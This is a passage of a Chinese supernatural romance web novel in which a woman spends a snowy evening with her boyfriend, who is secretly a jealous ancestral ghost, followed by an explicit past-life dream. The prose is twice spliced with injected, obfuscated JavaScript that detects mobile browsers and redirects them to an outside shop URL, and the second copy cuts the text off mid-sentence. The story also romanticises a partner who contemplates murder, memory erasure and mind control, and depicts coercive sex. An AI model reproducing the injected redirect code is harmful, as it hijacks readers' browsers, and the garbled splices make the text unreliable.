澄乐商场灵异事件近段时间闹得沸沸扬扬,外面几乎每个人都会议论,她整天待在外面,竟然没听说。 啧啧啧,沉浸在爱情里的女人呐,果然会丧失对环境的感知力。 卢桃先默默简化一下语言,尽量讲得不那么恐怖,以免吓得师姐这个真正胆子小的人晚上睡不着。 在许菱烟期待的眼神中,她分给她一条风干牛肉,慢条斯理说:“澄乐商场,开在市区的那家挺有名气的商场,你知道吧?” “嗯。”跟沈渠确认关系的那天晚上,他们就是在澄乐商场吃得饭。 许菱烟废了九牛二虎之力终于撕下一口,腮帮子酸疼,心说这什么破零食,吃完牙都要掉光了,重新扔给她。 卢桃也不嫌弃,接过来就啃,一个人吃得可香。 继续嘚吧嘚吧地讲:“这家商场不同楼层的下班时间不一样,顶层的休闲娱乐区营业至凌晨两点四十分,KTV更是直接通宵。为了方便顾客,从今年初开始,地下停车场的人工服务延长至凌晨。” “某天夜里,停车场的值班人员听见卫生间铁门咣当咣当一直响,巡逻一圈没发现别人,还以为是风大闹的。没成想——” 转折点来了。 许菱烟撕开一包薯条,眼神示意她别卖关子,快点讲。 卢桃:“那天商场餐饮层,发生了一件可大可小的意外。” “有位顾客在用餐途中,突发心脏病死了,后来不知道怎么回事,商场反倒成了过错方,给死者家属赔了不少钱,经理亲自登门致歉,这事儿才算完。” “后来连续好几天,商场值夜班的工作人员,还有半夜离开的顾客,都从不同的犄角旮旯里听见一道凄厉的哀嚎,一个劲儿说对不起,不该骗钱的……对不起,不该骗钱的……” 许菱烟嘴巴张得老大,薯条拿在手里也没顾上吃,追问:“后来呢?” “死者的家属也经常梦见他,被折磨的没个人样,站在家门口不肯进来,一个劲这么念叨。最后家属们实在受不了折磨,主动把讹的那笔钱还给商场了。你猜怎么着?” 许菱烟配合:“怎么着?” 卢桃两手一拍,“从此之后,双方真就一切太平。” 许菱烟啧啧几声,感慨:“人果然不能干亏心事。” 卢桃一听就知道许菱烟把这件都市异闻,纯当成恐怖段子了。 但也能理解。 毕竟谁会闲的没事干,对一则没有凭证的传言斤斤计较。 与其相信有鬼,不如相信她明天刮彩票可以中一百万。 于是这一茬结束。 卢桃放弃跟牛肉干作斗争,趴在沙发扶手上,揪着许菱烟袖子晃啊晃地卖乖。 许菱烟头也不抬:“有事直说。” “我明天就回家过年了,今晚约了朋友出去吃饭,直接在她家睡。” “女生?” “必须的呀,”卢桃拍着胸脯保证,“是跟我同学院不同专业的泠泠,我带她来家里吃过饭,你还有印象不?” 许菱烟思忖半晌,脑海里逐渐呈现出一张模糊不清的脸。 确实有这么个人…… 是个文文静静的小姑娘。 在交友这方面,许菱烟还是非常开明的。 只要卢桃心中有数,知道什么该做什么不该做,那她凡事好商量。 许菱烟沉吟片刻,打开微信要转账。 “别别别,我爸这月给的生活费足够了。这都是你的辛苦钱,又不是天上刮下来的,就算你赚得多,也不能这么接济我呀。等我毕业找到工作,可以靠自己的能力赚钱了,肯定也会对师姐好的。” 卢桃赶紧摁住许菱烟的手腕制止,猝不及防,被冷得哆嗦一下。 顿时,目光疑惑,“家里通着地暖,你怎么冷成这样?” “不冷,”许菱烟没在意这个,接上刚才未完的话茬,“我对你没有别的期待,只要你好好的生活就够了。” 从小一起长大的情谊,甚至比有血缘的亲姐妹还深厚。 许菱烟早就把卢桃视作亲人,既然是彼此最亲近的人,那她的付出都是心甘情愿,并没有期盼她回报什么。 “师姐,你、你还真是……”突如其来的煽情,差点给卢桃弄哭了。 她感动坏了,抱着她摇摇晃晃地撒娇,好半天才撒手,身体之间稍微拉开一段距离,一脸认真地盯着她,瞧个没完。 许菱烟以为脸上沾脏东西了,摸了一把,发现什么都没有。 她不解:“怎么了?” 卢桃:“你瘦了好多,人也憔悴了。” “有吗?”许菱烟又摸一摸软弹的脸颊,掐一把腰间嫩乎的肉,并没有这种感觉。 “嗯!”卢桃一本正经:“老话说,正确健康的恋爱只会让人容光焕发,可你状态怎么越来越差了?难道沈教授对你不好吗?” 许菱烟矢口否认:“没有的事,你别瞎猜,他不是那种人。” 上天入地也找不到第二个,比沈渠更合她心意的男朋友。 他们的感情在相处中日益浓厚,哪怕没有那些刻意制造的浪漫,仍然不受影响,甚至比刚在一起时更加亲昵。 有时候,两人默契到只需要一个眼神,便能懂得彼此的心思。除去恋人这一层关系,用知己形容也不过分。 沈渠的照顾不动声色。 因为有他在,她每次忙累了往旁边伸手拿杯子,里面的水始终是温的、满的; 她一进入创作的状态就两耳不闻窗外事,他从不会抱怨无聊,每次都很耐心的陪伴她,真挚的欣赏她、称赞她…… 许菱烟没办法抵抗沈渠的熨帖。 她的一颗心已经全然为他跳动了。 当然,这样酸掉牙的情话,许菱烟对着沈渠都很难张开口,更别提对着卢桃了。 她摸摸她脑袋,接受她的担忧,再一次真诚的告诉她“沈渠真的、真的、真的不是那种不靠谱的人”,让她宽心。 卢桃视线在许菱烟乌青的眼袋上转了一圈儿,不情不愿地瘪嘴:“上天保佑你不是个恋爱脑。认识沈教授之后,你已经开始变得不像你了。” 说话做事、思考,一点儿都不理智。 许菱烟失笑,不想再纠结这个毫无意义的话题,转而说:“你和朋友约在几点碰面?” “五点。”卢桃瞥一眼钟表,噌得弹起来,一边叫着“完蛋了要迟到了”,一边往楼上房间冲,抓紧时间洗漱化妆。 一阵儿鸡飞狗跳之后,卢桃给许菱烟一个大大的拥抱,说了一句拜早年的吉祥话,拖着行李箱出门,坐车离开。 家里少了另一个人的生活痕迹,骤然显得冷清。正巧许菱烟晚上有约,收拾收拾东西也要出门见人,省得戒断反应太重。 换鞋子的时候,许菱烟想起卢桃那番没头没脑的话,抬起头对着穿衣镜打量自己。 跟往常一样,没有任何变化…… 硬要说,最近吃多了沈渠做的韭菜盒子,脸颊圆润了一点。 没瘦、没憔悴。 完全的幸福。 许菱烟心满意足,对镜露出一抹甜美的笑容,拎上包离开。 - 天一黑,外环很难打到车,许菱烟转了三趟地铁才到沈渠所住的小区附近,找了一家超市购物。 结完账,正巧接到沈渠的电话,说他五分钟之后出发,让她乖乖等着。 许菱烟:“我已经出发了。” “那你发个定位。” “别麻烦了,我就快到了。” “你认得路?” “又不是没来过,怎么可能不认识,”她领会他的关心,却又不想劳累他白费功夫亲自来接她,玩笑着缓和气氛,“快忙你的吧,沈大厨,进门吃不上饭我可是要生气的。” 沈渠了解妻子的性格,再执拗下去只会影响感情,于是很识时务地退让,叮嘱:“路上千万注意安全,有事及时联系……家门密码,你还记得吗?” “嗯,记得的。” 许菱烟说声待会见,爽快地挂断电话。 从超市出来,鼻尖忽然一凉。 许菱烟后知后觉仰头,天上簌簌飘落雪花,盐粒子一样铺开,在街灯的照射下闪烁碎光。不知道从哪个方向飘来一阵浓郁的饭香味,勾起她的馋虫,肚子咕噜咕噜叫起来。 过路人低头匆匆走过,各自奔着各自的方向而去。 高楼大厦亮起灯,暖色调的光从窗户透出,玻璃上贴着各式各样的窗花,有的人家阳台上还挂着彩色灯串或红灯笼,远远望见,格外温馨。 受此时此景的影响,那个渴望跟沈渠组成家庭的念头,又一次不受控制地冒出来。 许菱烟拍拍脸,强制自己清醒一点,拎着购物袋,一步一个脚印,小心翼翼地向小区走。 十三分钟后,许菱烟摁下密码,开锁。 刚开门的瞬间,她率先闻到饭香味儿,接着,发现客厅里的年轻男人。 表兄弟俩的五官有几分相似,但气质完全不搭边。 比起沈渠的温文尔雅、淡然自若,沈绍元妥妥就是个养尊处优、桀骜不驯的公子哥儿。 沈渠在厨房奋力地挥动铲子,而沈绍元就躺在沙发上咔嚓咔嚓啃着果子,电视节目声音开得震天响,逗得他耸着肩膀直乐。 幸亏房子的隔音效果优秀,不然邻居家肯定会以扰民为由找上门来。 听见开门声,男人脸上笑容未减,下意识扭过头。 猝不及防,四目相对。 气氛有一秒的凝滞。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17158009|195586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈绍元直勾勾盯着站在玄关处的女人,一脸震惊。 原来,真的有人前世今生长着同一张脸。 左看右看、上看下看,分明一模一样。 难怪祖宗无法放下执念,对上这么一张朝思暮想的、熟悉的面庞,过往肯定如潮水般涌入心头。搁谁,谁能释怀得了。 许菱烟对着沈绍元友善地笑笑,当下这刻,脑海中闪现过很多称呼,迟迟没决定好到底叫哪个才合适,只能尴尬地摆一摆手,“嗨……你好。” 沈绍元骤然回神,赶紧拍掉手心里沾的瓜子皮残渣,倏然挺身坐直,一板一眼地叫人:“嫂子好。” 他的嗓门响亮,震得房门抖三抖。 也把沈渠从厨房叫出来了。 他解开围裙顺手搭在椅背上,直奔她走来。 “怎么买这么多东西?家里什么都有,知道你今晚过来吃饭,我把食材都事先备齐了,”沈渠从许菱烟手中接过沉重的购物袋,指腹不停摩挲她掌心勒出的痕迹,心疼极了,“都怪我,应该下去接你的。” 有外人在,许菱烟不好意思和沈渠拉扯。 她费劲巴拉地抽回手,弯腰从柜子里取出一双女式拖鞋,咕哝:“不一样。” 沈渠掌心一空,眼底闪过一抹暗色,对沈绍元的不满值立马直线飙升,全凭他努力压抑着情绪,才没把某个碍眼的玩意儿扔出家门。 眼瞅着许菱烟单脚站立换鞋,身形不稳,他及时搀住她。 压着声问:“哪儿不一样?” “我第一次和你家人见面,怎么可以空着手来?多不礼貌。” 许菱烟换好鞋,刚一起身,被沈渠背后冒出的一颗头吓一跳,看清是沈绍元之后,心头还是止不住的发怵——怎么回事?这人怎么走路悄无声息的,突然就蹦出来了。 沈绍元没发觉自己吓到了许菱烟,咧嘴笑,一口一个嫂子叫得亲热。 沈渠听得嘴角一僵,杀心渐起,盘算着,如果当着妻子的面儿把沈绍元碾死,再抹掉妻子对于这一段的记忆,可不可行。 或者,干脆直接动手,弄死一切除他之外可以享有妻子笑颜的人,善后工作总不会比妻子看其他男人更棘手。 沈绍元虽然勘不破祖宗的想法,不过同为鬼,他完全能够感受到逐渐冰冷的气温,骇得不存在的心肝脾胃肾全在抖,幸亏他不是一只蠢鬼,当即思考出一招堪称天衣无缝的脱身办法。 那就是,讨好另一位话语权更高的祖宗。 “感谢嫂子买这么多好吃的,但真的很不凑巧,我今晚不在家。” 沈绍元皱起五官,青葱的皮囊摆出这样一副歉疚的表情,特别惹人怜惜。 “有个挺重要的客户约我聊合作的事宜,明天人家就回乡过年了,所以我现在得赶过去见一面。机不可失时不再来,送上门的机遇肯定要尽力把握嘛,还望嫂子谅解。” “……” 许菱烟有些懵。 这、这也太突然了。 她刚进门,还没来得及坐下跟他交流几句,人就得走了。 许菱烟下意识看向沈渠。 他同样一脸意外,不满地拍一下沈绍元,觉得他办事没个谱,又碍着许菱烟的面子没办法发作,最后,千言万语换成一声无奈地叹:“有事儿为什么不提前说?” “如果提前告诉你,今晚的聚餐肯定就要取消了,工作再忙都不能耽误我跟嫂子见面啊,硬挤我也得挤出时间来。别忘了,我可是嫂子的忠实粉丝。” 许菱烟被逗乐,心头那一点点惋惜荡然无存,“没关系,你有事儿就去忙。一顿饭而已,以后有的是机会一起吃。” 沈绍元顺着杆子往上爬,先感谢嫂子大度,看向沈渠时又变得委屈巴巴。 他掀起眼皮,向上注视他的脸色,摆出一副弱者姿态,说得话很讨喜,却透出一丝不易察觉的贱:“没有我这个电灯泡,你俩还能过个浪漫美好的夜晚,这样不好吗?” 沈渠被沈绍元激的杀意更浓,后槽牙咬得咯吱作响。 碍于妻子在旁,他得维护作为丈夫的完美形象,只好硬生生咽下这口气。 但气得太狠,脸色不太好看。 许菱烟自然察觉到沈渠压抑的火气,主动上前牵住他,仗着袖子的掩盖轻柔摩挲他的手背,安抚的意味明显。 沈渠一顿,转头看向她,眼神软化,收起周身散发的戾气。 她没接他的视线,可人又分明和他站在同一战线上,这就足够了。 沈渠动荡的心绪就这么轻松平缓。 他指尖蜷缩,勾了她一下,那只柔嫩的手就像一条滑不溜秋的小鱼,迅速从掌心溜走。随即,他瞟见她耳后泛起的暧昧红潮,嘴角上扬,内心的幽冷一扫而空。 许菱烟本来也没打算牵太久,确认他不会苛责沈绍元,便松开了。 然后从随身携带的挎包里拿出包装精致的礼盒,伸长胳膊,递给始终躲在沈渠背后阴影里的沈绍元,“这是送你的见面礼。构皮麻纸台历。” 沈绍元一听,立时双眼发亮,恨不得化成一团雾绕着房梁飘两圈,以此表达他的激动之情。 很快,沈绍元意识到自己这么做只会被祖宗徒手捏死,他赶紧深呼吸冷静下来,偷偷瞥一眼沈渠的反应。 祖宗仍旧喜怒不形于色,可越表现得冷静,越弄得他惴惴。 “这份礼物太贵重了,我……我不敢收。” 沈绍元瑟索地摆手,生怕收了会被拈酸呷醋的某鬼再弄死一次,但他的视线已经穿破包装盒,看清里头装着的东西,简直喜欢死了,根本挪不开眼。 沈渠没想到许菱烟会给外男准备礼物,好不容易压下去的妒火再次烧起来,比刚才更烈更旺。 下一秒,手指被轻轻勾了下。 酥麻的感觉沿着脉络一路蔓延至心头,荡起的涟漪经久不散。 他垂眼,对上她投来的求助目光,柔柔弱弱的,惹人爱怜。他那把暗火立刻被浇灭,只余下股股黑烟。 沈渠咬了咬牙,忍下忮忌心,表面装得温良:“收个礼物而已,有什么不敢。这是菱烟特地给你准备的,你……不喜欢?” 29. 第三场梦 沈绍元忙不迭给出回应,点头如捣蒜。 “喜欢!超级无敌喜欢!” 呜呜呜…… 他敢说不喜欢吗。 说了还能见到明天的黑夜吗。 给他一万个胆子都不敢这么干好吗!? 沈绍元一边在心里默默擦眼泪,一边赔着笑接下盒子,实则被那道无形、震慑的视线凝视着,惶恐万分,恨不得给沈渠鞠躬磕头。 他就是一个没本事的小卡拉米,他们这段伟大爱情中最不起眼的路人甲,求亲祖宗高抬贵手,别嚯嚯他这只小鬼脆弱的魂魄了行不行。 松口答应沈绍元收下东西,是为了避免拂去妻子的面子。可真见他收下,沈渠又开始嫉恨,额角青筋暴起,双眼赤红,浑身膈应。 阖了阖眼,沈渠努力平复心情,对沈绍元的心声充耳不闻。 等扭头再看向许菱烟,他眉眼柔和,就像变了一个人,细声细语地叮嘱:“我送送他,很快回来。饭菜已经准备好了,你先吃。” “不了,我等你。” “电话里,你不是说肚子饿了?” “那也要等你回来一起。” 沈渠心头一热,眼神发暗,“……好。” 所有食材、饮料、小吃,许菱烟都是按三人份买起的。东西沉甸甸地压在购物袋里,两条提手抻成长细条,有种随时崩断的错觉。 一路上许菱烟走走停停,提得很费劲,但沈渠却轻松地单手拎进厨房,挑出几样短保的食材放在大理石台上,告诉她不用管,等他回来处理。 自从恋爱以来总受到沈渠的照顾,习惯了衣来伸手饭来张口的日子,许菱烟感觉自己快被养废了,身为女朋友也很失职,内心过意不去。 常言道,一段健康的关系必须双方都有所付出、收获,一旦失衡,只会使得感情出岔子。所以,她老想着也给他露一手,让他知道做她男朋友的体验感同样幸福。 现在恰恰是个不错的机会。 许菱烟没应允:“这点活儿简单,我能干。” “嗯,我知道的,下厨压根难不倒你。” 说着,他手背贴上她的脸颊。 进屋不久,她还没缓过来,皮肤微凉潮湿,身上一股雪水的清冽味儿。 他凝神屏气,操纵温度快速升起。 同为鬼的沈绍元完全受不了高温,低低地嗷了一声,五官扭曲的厉害,痛苦难言。 沈渠懒得管闲杂人等的感受,痴痴地谛视着妻子。 “分明是我请你来家里做客,没有亲自去接你,让你一个人冒着雪来,还破费买这么多东西。我作为男朋友已经够不称职了,如果再厚着脸皮使唤你下厨,那你跟我在一起也太吃亏了。” 他主动捏捏她的手,口吻柔软:“就当,给我个就将功补过的机会,行不行?” 许菱烟目不转睛看着沈渠,迷了心窍一样点点头:“好。” 厨房内残留饭香味,暖调灯光洒落在妻子身上,如此便有了家的感觉。 沈渠情不自禁地抬起手,仔细摩挲着妻子的脸颊,一双清凌凌的杏眼,眼底毫无杂色,只映着他的身影,一下就可望见她一颗纯洁真诚的心。 他指腹有意擦过她柔软的唇瓣,暂且压抑着亲吻的渴望,另只手薅住在背后偷窥的沈绍元,稍微用力,直接甩进书房。 一阵阴风袭来,房门砰得关严。 没了碍眼的电灯泡,沈渠忍无可忍,低头含住玫色双唇,狠狠嘬弄。 肆意,搅弄一腔春水。 厨房推拉门上的玻璃逐渐蒙了一层雾气,变成一道屏障彻底隔绝内外。 忽而,许菱烟身体腾空,旋即被抱到大理石台上,两人之间悬殊的身高差距骤然缩减,沈渠低头,虎口卡着她的下颌,方便她更深的承接亲吻。 迷迷糊糊的,许菱烟似乎听见某个东西猛烈撞击发出的短促巨响,紧接着门就关了。 也不知道两人怎么莫名其妙吻在一起的,她头脑一片空白,胸腔内烧着一团烈火,呼吸急切,心脏深处有个声音贪婪嚷着:不够。还不够。远远不够。 身体内仿若空了很要紧的一块地方,仅有沈渠可以填满。 动情至最深处,寂静厨房内只听得见彼此仓猝的气喘,他们谁都无法在当下浅尝辄止的触碰中获得餍足感。 沈渠率先动作,捧着许菱烟的双手缓慢下滑,在衣角边缘磨蹭一会儿,轻车熟路向内探入。 瓷白滑嫩的肌肤接触到微凉空气,许菱烟浑身一震,立即从迷蒙的状态中清醒过来。 “够了,快停下……客人还没走呢,被他看见影响不好……” 她偏头躲避他的追吻,唇瓣翕张,大口大口喘着气,一边缩着身体阻止他继续靠近,一边曲起胳膊压住扬起一角的衣服。 这场亲昵来得突然,一时之间,两人都没法及时抽身。 许菱烟的反应更大一些,眸底水光潋滟,双唇红又肿,看上去像出水芙蓉,清纯中又透着魅惑,简直比妖精还蛊人。 沈渠使劲闭了闭眼,压抑着某处的躁动,哑声道:“他走了。” 许菱烟一愣怔,抬头向外张望,客厅果然空空如也,“什么时候走的?我怎么没注意。” 沈渠脸不红心不跳地扯谎:“我们进厨房的时候。” 许菱烟歪头,表情更疑惑了。 脑海中出现沈渠拎着购物袋在厨房内走来走去,归置东西的样子。 在此期间,沈绍元始终紧紧贴着他后背,腰部以下没入黑暗,不管沈渠怎么行动都甩不掉。 沈绍元像只攀附墙壁生长的藤蔓,如影随形。 而他吃进去的瓜子无法被身体吸收,悉数掉在地上,沿步行轨迹变成一条蜿蜒小道。 许菱烟心头泛起一股难以言喻的诡异感,没等深究,忽听沈渠开口说话。 “发什么愣?”他在她眼前打个响指。 她的疑窦立即消失,自如的跟他说:“雪天路滑,你有没有叮嘱小沈注意安全呀?” “……” 沈渠抿了下唇,眼神幽微。 因为妻子当面儿赠送其他男人礼物,他被刺激的妒火中烧,好几次快忍不住直接对沈绍元动手,幸亏妻子及时阻拦安抚,他才堪堪按下心绪。 早知如此,他就该直白地告诉妻子。 沈绍元来不了了。 永远都来不了了。 他早在崇祯三十一年就死了,蠢到被谁害死的都不知道,还欠着一屁股的凡尘债,还清之前无法进入轮回。 而作为一只鬼,他也大限将至了,灰飞烟灭,彻底消失在天地间,便是他的下场。 这样愚笨的货色压根不配做他们的后代,她亦无须记挂一个无足轻重的人物。 妻子的眼里、心里,只要他一个就够了。 可惜,伪装成人的代价便是纵使再不忿,表面功夫也要做。 沈渠一点一点翘起嘴角,露出一抹找不出错误的弧度,“他有朋友来接,不用担心。” “……哦。”许菱烟眨眨眼,不敢往下瞧。 家里开着空调,温度很高,沈渠只穿了一套深色系棉质居家服,松松垮垮看不出什么,但他们的姿势太近太暧昧,拥吻的过程中,许菱烟无法避免感知到翘起的变化。 她又不是不谙世事的小姑娘,当然清楚那意味着什么。 虽然是正常的反应,但……但……她打住思绪,睫毛抖成筛糠,视线飘忽不定,被吮吸太久的唇瓣酥酥麻麻,羞得蜷缩起肩膀。整个人非常不自然。 “我饿了,快点开饭吧。”许菱烟随便扯了个由头,迫切的从台子上跳下来。 沈渠被许菱烟突然的动作惊到,赶紧伸长胳膊接住。 一不小心,指腹摁在那片没有遮挡的腰侧肌肤上。 许菱烟敏感的一颤,齿间溢出零碎娇哼。 声落,气氛静了一刹。 他若有所思地看向她,搂在腰间的手原本已经移开,又轻轻落回原处。仿佛有应激反应一样,她再次无法控制地颤抖起来。 得到验证之后,沈渠眼底浮现出玩味,装模作样问:“抖什么,你很冷吗?” 许菱烟快羞炸了,等发麻的双腿缓过劲儿,猛地推开他,拿起门边的扫帚往外冲,掩饰说:“我、我扫一扫地上的瓜子,你把饭菜端上桌。别磨叽了。” 沈渠顺着被推开的力道往后仰靠着冰箱,视线始终跟随妻子移动,从心生出一股痛快惬意。 他舔了舔嘴,品出些许唇膏残留的清甜,不由得弯起双眼,笑得蔫坏儿,“行,听你的。” - 这顿饭吃得很慢很慢,两人有聊不完的话,不知不觉就到晚上十点钟。 外面大雪纷飞,迟迟不见有停止的迹象,碰见这种恶劣天气,打车肯定打不到了,麻烦沈渠开车送她回家更不可能。 许菱烟咬着筷子,一脸纠结苦恼。 沈渠先开了口:“今晚,别回去了?” “……啊?这、这,不合适吧。”许菱烟一惊,立马回忆起两人在厨房里近乎失控的纠缠,好不容易平复下去的情绪再次激荡。 倒不是她抗拒和他亲密,就是,进展太快了,她还没做好心理准备。 隔着锅里冒出的热气,沈渠放下筷子,单手托腮,一双含情眼直勾勾盯着她,揶揄:“想什么呢,脸这么红。” “没想,脸红是被热气熏的。”许菱烟嘴硬,眼睫下垂,死活不肯看他了。 沈渠见好就收,解释说:“外面风雪太大,出行很危险,你不如留在这儿住一晚,就住我房间。如果实在不放心,你可以把门反锁,备用钥匙我也全部交给你。” 听见他这样有信服力的保证,她紧绷的心绪稍微平缓。 随即,担心道:“你家只有一间卧室,我住了,你睡哪儿?” “客厅的沙发拉开就是一张床。” 许菱烟迟疑:“那、那……” 吭吭哧哧半晌,没憋住下文。 锅气确实将她双颊熏得粉红,与周遭瓷白的肌肤相映,像极了年画里走出来的吉祥娃娃。一对柳眉尖蹙起,犹豫不决的表情,看起来有一股傻里傻气的可爱感。 沈渠绷不住乐,等许菱烟看过来时,一秒恢复正经:“别这么大的心理压力,你不点头,我绝对不做违背你意愿的事。我跟你在一起,也不是为了做那些恶俗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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快速冲完澡,许菱烟吹干头发,困意也席卷。她缩进被窝里,嗅着枕头和被子散发出的淡淡檀香味儿,身上又穿着沈渠的衣服,仿若被他紧密拥抱着,格外心安。 原本以为突然换个环境会不习惯,就算失眠也正常,但没一会儿,许菱烟便蜷起身体,被贪恋的味道裹挟着,沉沉地睡去。 松软的雪吸去黑夜中些许杂音,天地一片寂然。 凌晨时分,整个小区内没有一户人家亮着灯,在人们安眠毫无防备的时候,卧室内的浓黑倏然抽动一下,仿佛有什么东西躲在那里,以肉眼不可见的速度,从四面八方往床的方向靠拢。 凭借着一缕从窗外投射进来的冷白月光,依稀看得出是一道修长人形。 他掀开被子一角,慢慢蹭进去,躺下,伸长手臂揽住许菱烟,埋首在她颈后深吸一口气,餍足叹道:“清如……” “乖。别睡了。” “睁开眼呐。” “睁开眼,看看为夫。” “……” 谁? 是谁在呼唤她? 声音好熟悉…… 薄薄眼皮覆盖下的眼珠微转,极力想睁开,却被一道无形的力量阻碍。 她愈发焦急,双唇轻启,发出的并非回应,而是一声令人脸红心跳的轻-吟。 红纱散落飞舞,金穗在地面打了个旋儿,雕花梨木床不堪重负,发出吱呀吱呀的靡音。 烛光映出榻上一对抵死缠绵的鸳鸯,情至浓时,男子低头,一口咬上怀里人洁白圆润的肩头。 羸弱的痛呼之后,郑清如倏然睁开眼,豆大的泪珠顺势流淌。她感觉身子已经不受个人支配,在这种失控的恐惧中,抽噎声大过别的,仍然无法唤起身后人的怜悯。 “将军……” “将军……” 郑清如不停唤着,颤颤巍巍地反手抵抗,不曾想却亲自递上把柄,双手交叠被一把抓住,当成更好的发力点。她瑟缩不止,如同飘零破碎的枯叶,终于泣不成声,讨饶道:“……求您,莫这么对妾……” 闻言,如狂风骤雨般的动作静止一息,接着,更大的力道钳住腰间。 因为有汗不便掌控,他便用了狠劲,硬生生拽着她起来,虎口卡住她下颚,强迫她回头对视。 房内烛火摇曳,隔着一层纱帐和泪水,郑清如视野模糊不清。紧接着,泪痕被使劲儿抹掉,对方指腹的茧子在她娇嫩肌肤上剐蹭出一道粗长红痕。 她这才得以看清男子的长相,俊朗桀骜,举世无双。 一双漂亮的眼眸,纵然在动情之时,却仍然冷若冰霜,其中还掺着一丝说不尽道不明的复杂感情,似爱似恨,似恋似怨。 郑清如被盯得害怕,不知道自己哪儿做错又惹他不快了,身子抖得更厉害,畏冷般努力住转过去,紧紧搂住他,极尽依偎,恳切地唤:“将军,您怎的不吱声?” 男子默然。 片刻后,他妥协般叹口气,单手抚上她湿滑的背脊,轻拍安慰。 “哭嚎什么,非要叫院子里的下人都听去你的声儿?”他冷哼,细听,又透着浓浓的宠溺,“这才多久便受不住了,真是没用。” 30. 永恒不变 怀中美人微微一愣,眸子瞪圆,很不服气的样子。 “一味瞪人作甚,觉得我说错了?”男子扬眉,声线沙哑,透着还未尽兴的慵懒。 郑清如沉默,似乎反问:难道不是么。 见她不应答,只用那双能勾魂噬魄的双眼盯着他,瞧得他一颗心乱成一团麻,又不知道该怎么疼爱她才好了,于是上手捏捏她的脸,亲亲她的唇,揉揉她的月匈。 这次的动作轻柔许多,有种刻意讨好的感觉。 她却不领情,凑近,把额头的热汗全蹭到他肩膀上,挑衅地睇他。 实则完全没有威胁力,活像一只还没满月的狸奴,指甲还被剪短了,奶凶奶凶的。 格外招人喜欢。 他最吃她激将这一招,眸色愈发幽暗,掐着后腰的手逐收力。 趁她还没反应过来的时候,他重新将人提放在腿上,凶恶地咬一下她的唇,立马破了个不大不小的口子,嫣红的血丝从皮下渗出。 郑清如蹙眉,发出短促且含糊地痛呼:“呃——!” 这下,他的目的得逞,邪笑着把她压入松软厚实的被衾中,动弹不得。 长夜漫漫,红烛光线一晃之后熄灭,室内陷入无尽的幽暗。纱幔摇动不止,床榻仿若江上飘零的一艘孤舟,木头嘎吱声响了不知多久,终于得到片刻喘息的机会。 一条细白的胳膊顺着丝滑的床单滑落,随即被捞回去,松松垮垮地挂回他脖颈上。 账内热气未褪,弥漫着难以言说的气味儿。 两人严丝合缝的相拥,一时之间谁都没开口,放任沉静扩散,只贪婪地汲取彼此炽烈的体温,感受热汗淋漓的舒爽。 作为一个女子,平素待在后宅看看书、赏赏曲、做做女红,日复一日的,体力到底不如在军中操练的汉子。 再加上近一整晚都在忙碌,郑清如彻底累瘫,一根手指头也不想抬,兀自阖着眼,嗓子干痒难耐却没力气唤人倒水,只能先趴在他胸膛上歇息。 耳畔是他强有力的心跳,仿佛裹着一层粘稠的液体,伴有咕叽咕叽的杂音。 不待细听,脊背被轻拍一下。 她抬起头,正对上他意味深长的眼神,乖觉叫了声:“将军。” 他表情平淡,如墨一般浓黑的眸子紧盯她不放,只回了两个字:“错了。” 顿了顿,郑清如赶紧改口:“主君。” 他摇摇头,没有斥责她的意思,反倒像暗示她多想一想,是否还有别的答案被她遗忘在脑海深处,还没记起来的。 郑清如稀里糊涂,犹豫几息之后,小心地试探:“……郎君?” “还是错了。”他无奈叹气。 郑清如心脏猛然往下一坠。 未曾料到,过去这么久,她的失忆症竟还不见好转。 不知从何时起,郑清如对先前经历的事只留下少量模糊、断续的片段,最严重的时候,除去自己姓甚名谁,其余一概不知。 大婚当夜,她误认为自己上错花轿嫁错郎君,对他一通胡搅蛮缠,甚至逼他拿婚书去府衙对质,否则就不肯洞房。 之后这事如何被解决的,她又记不清了。 不过不难猜,肯定是他让步,满足了她的诉求。 ……唉。他总是如此体贴。 军中事务繁多,念及她的病情,他不管忙到多晚都得赶回家陪着她,饕风虐雪,倾盆大雨,亦从不曾有一日耽误。 她自然感激他的悉心照顾,房中事便也愿意放纵他,很少中途喊累喊停,败坏他的兴致。而他疼惜、体谅她,几乎不会折腾她至很晚,今夜倒是特殊。 忽而,他结实臂膀揽住她腰际,施力,轻而易举的向上提起一截,与她平视。 那双眼太深谙,不动声色间就能把人的心底看穿,她不敢直视他,却发现这个姿势,自己无处可躲。 只得瑟瑟索索地回看。 “在想什么?” 他问:“身上是不是难受?” 她一赧,小声说:“不是。” “……” 又是一阵沉默。 这次倒多了几分无话可说的意思。 他视线下滑,落在她唇上,若有所思。 方才被咬破的那道小口子已经结痂,她不觉得疼了,只是身上出了太多汗水,又跟他紧贴着,很不舒服。她稍微用力试图挣开他的怀抱,甫一有动作,立马被拽回去。 倒下的瞬间,他顺势欺身上前,含住她的唇瓣,细细品赏。 一只手扣住她后脑勺,另只手在突起的脊骨上来回磨蹭,最后停在腰侧,握紧,沁出汗水的湿滑肌肤溢出指缝,痛感愈发强烈,有种骨头要被硬生生捏碎的错觉。 郑清如实在受不了了,嘴巴像吃多了辣椒,又麻又疼。她用肘抵开他,借用巧劲儿翻到床榻内侧躺着,顺便掀起被子,严严实实的盖住两人。 转眼见他还直勾勾地看着她,像是咬住肉死不松口的狼狗,一副还没尽兴的贪恋样儿,她后腰下意识隐痛,有些气恼地锤他一下,埋怨说:“等下万一起不来耽误正事,看你怎么办。” “不必担心。我已告假,在家休一天,陪你。” 